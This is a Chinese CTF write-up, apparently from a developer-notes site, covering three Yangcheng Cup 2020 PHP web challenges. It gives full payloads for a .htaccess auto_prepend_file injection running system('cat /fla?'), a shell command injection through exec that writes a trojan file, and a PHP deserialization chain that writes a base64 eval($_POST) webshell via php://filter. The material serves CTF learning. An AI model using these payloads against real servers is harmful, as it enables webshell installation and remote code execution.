热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[羊城杯2020]

[羊城杯2020]easyphp

[羊城杯2020]easyphp

//这是突破点我们要想办法把后面拼接的hello word弄掉
?>

 if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }这个正则想了一下,^的意思是如果匹配不是小写字母和.的字符,就进行die()

相当于一个非,限制我们输入的字符必须是小写字母和.点号


思路:既然我们可以指定文件名,然后指定内容进行输入到文件中,后面的hello world可以在字符串末尾加个/就可以注释掉了,构造一个 a.php文件,然后传入一个一句话木马试一下

发现可以访问文件a.php可是输入一句话木马之后

发现当作html直接输出在页面,并没有解析,或许后台设置了只解析了index.php,毕竟代码对index.php的提醒挺多的,于是在想能不能在index.php之前解析我们的htaccess,将配置项改一下即可,于是学习大佬得知还真是要利用htaccess来进行获取flag 。,因为需要先加载配置项


php_value auto_prepend_fil\

e .htaccess

#\


1.第一行的\起到了链接作用上下两行链接成一行,因为过滤了file,#在htaccess是注释的作用,可是 在php中会直接运行一句话木马

2.通过php_value auto_prepend_file .htaccess设置所有php文件运行前都包含.htaccess文件。

3.由于flag被过滤通过通配符?绕过。

4.由于代码在content后面接了"\nHello, world",这样会在htaccess文件第4行多出一句Hello,world。这会使程序崩溃报500错误。因此在传入的content第3行末尾加一个\,将Hello,world连接到第3行,把它也当做注释,这样就不会报错了


filename=.htaccess&cOntent=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C


 

访问index.phpjiu就会首先加载 .htaccess,然后插入的木马被执行成功 


[羊城杯 2020]Easyphp2

 打开界面url框显示file=会不会是任意文件读取呢

试一下/

 然后读取一下源码看一下,直接读取出不来用,filter读取伪协议

应该是有什么东西被过滤掉了,一点一点删除,确定是base64对base64进行二次编码就可以绕过 

 绕过了base

//COOKIE 等于环境变量的pass
//我们需要知道pass的是什么,然后把COOKIE改了,这里猜测是GWHTsetCOOKIE('pass', 'PASS');die('

'.''.'

'.'
'.''.'404'.''.'
'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?>//果然是对 base64进行了过滤die('hacker!');}echo "

The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "

";} //这里有exec命令执行,感觉count可以凑一个一句话木马?>

直接把一句话木马写入了a.php中

'|echo "" > a.php||'

?file=GWHT.php&count='|echo "" > a.php||'

因为过滤了

wc -c 用来统计文件字节数
exec函数不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面
这导致我们即使能对$count进行命令注入,但是exec只会返回| wc -c的结果

所以我们的现在需要不执行 $count后面的命令
最简单的办法就是使用#对后面的命令进行注释,但是题目已经将#过滤

我们可以使用||来达到不执行后面命令的效果


 文件中发现,这个没有flag文件,第一种方法可以在虚拟中输入env获得flag

或者提权也就是找到账号密码,然后提权获取flag


[羊城杯 2020]EasySer

打开界面这是,关于一个apache2的一个介绍

 查看完源码也感觉没有啥,扫一下目录看一下

 

一个不安全的协议,http相对于https来说是不安全的,直接访问http://ser.php

可是还是出不来,看了wp之后才发现,是127.0.0.1感觉是从我家所以是本地,http://127.0.0.1/ser.php

error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d = '';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
}?> url error
your hat is too black!

一个反序列化,这里我们先找链尾,


public function hasaki(){
        $d   = '';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }

@file_put_contents($this-> file,$a);这里是把a写入指定的文件,一般都是写入一个一句话木马,但是$d是一个die命令,会直接退出所以我们要绕过

搜索之后发现php://filter伪协议还有别的用法



write写入 resource数据来源 read参数值可为 string.strip_tags: 将数据流中的所有html,php标签清除
string.toupper: 将数据流中的内容转换为大写 string.tolower: 将数据流中的内容转换为小写
convert.base64-encode: 将数据流中的内容转换为base64编码 convert.base64-decode:
与上面对应解码为典型的文件包含漏洞。我们可以通过构造含有漏洞的语句,查看想要看的代码:
file=php://filter/convert.base64-encode/resource=index.php
。再将得到的base64码解码即可。


$this->hero->hasaki();

可是我们需要调用,yongen类中的hasaki方法,所以需要重新赋值

 $this->hero=new yongen;

构造payload

class GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
} //
$b=new GWHT();
$b->hero=new Yongen();//覆盖
echo serialize($b);
?>

 被本来 $d   = '';
        $a= $d. $this->text;   

a='+PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

所以我们这里把php,去掉以后就只剩下die(nonnon)加上base64编码了,这里就可以写入一句话木马,然后我们现在需要的是,反序列化的那个参数,题目并没有给出,

如果是有上传的窗口可以考虑phar可是找了找没有,需要利用别的手段

看师傅说是利用arjun工具,

今天给大家介绍的是一款名叫Arjun的开源工具,广大研究人员可以利用该工具来对HTTP参数进行提取和分析。这样我们就获得了一个c变量的传参,

http://dc8ac95c-8a83-41cf-9667-116b95cad59a.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/star1.php&c=O:4:%22GWHT%22:1:{s:4:%22hero%22;O:6:%22Yongen%22:2:{s:4:%22file%22;s:77:%22php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php%22;s:4:%22text%22;s:36:%22PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==%22;}}

然后链接建议

http://dc8ac95c-8a83-41cf-9667-116b95cad59a.node4.buuoj.cn:81/shell.php

1

 最后的得到flag

不容易加油!


推荐阅读
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 本文整理了315道Python基础题目及答案,帮助读者检验学习成果。文章介绍了学习Python的途径、Python与其他编程语言的对比、解释型和编译型编程语言的简述、Python解释器的种类和特点、位和字节的关系、以及至少5个PEP8规范。对于想要检验自己学习成果的读者,这些题目将是一个不错的选择。请注意,答案在视频中,本文不提供答案。 ... [详细]
  • loader资源模块加载器webpack资源模块加载webpack内部(内部loader)默认只会处理javascript文件,也就是说它会把打包过程中所有遇到的 ... [详细]
  • 本文介绍了如何使用PHP向系统日历中添加事件的方法,通过使用PHP技术可以实现自动添加事件的功能,从而实现全局通知系统和迅速记录工具的自动化。同时还提到了系统exchange自带的日历具有同步感的特点,以及使用web技术实现自动添加事件的优势。 ... [详细]
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 怎么在PHP项目中实现一个HTTP断点续传功能发布时间:2021-01-1916:26:06来源:亿速云阅读:96作者:Le ... [详细]
  • 本文讨论了在手机移动端如何使用HTML5和JavaScript实现视频上传并压缩视频质量,或者降低手机摄像头拍摄质量的问题。作者指出HTML5和JavaScript无法直接压缩视频,只能通过将视频传送到服务器端由后端进行压缩。对于控制相机拍摄质量,只有使用JAVA编写Android客户端才能实现压缩。此外,作者还解释了在交作业时使用zip格式压缩包导致CSS文件和图片音乐丢失的原因,并提供了解决方法。最后,作者还介绍了一个用于处理图片的类,可以实现图片剪裁处理和生成缩略图的功能。 ... [详细]
  • 本文主要讨论了如何通过已知图片的base64流将图片上传到文件服务器并返回URL的问题。通过模拟文件上传过程,成功解决了该问题。然而,在返回的URL中出现了一个名为blob的文件,作者对于该文件的具体含义以及base64转blob格式的意义有所困惑。本文将对这些问题进行探讨和解答。 ... [详细]
  • Ihaveaworkfolderdirectory.我有一个工作文件夹目录。holderDir.glob(*)>holder[ProjectOne, ... [详细]
  • 正则表达式及其范例
    为什么80%的码农都做不了架构师?一、前言部分控制台输入的字符串,编译成java字符串之后才送进内存,比如控制台打\, ... [详细]
  • 现象:[root@localhost~]#dockerrun-d-p9000:80centos:httpdbinsh-cusrlocalbinstart.shd5b2bd5a7bc ... [详细]
author-avatar
mobiledu2502928897
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有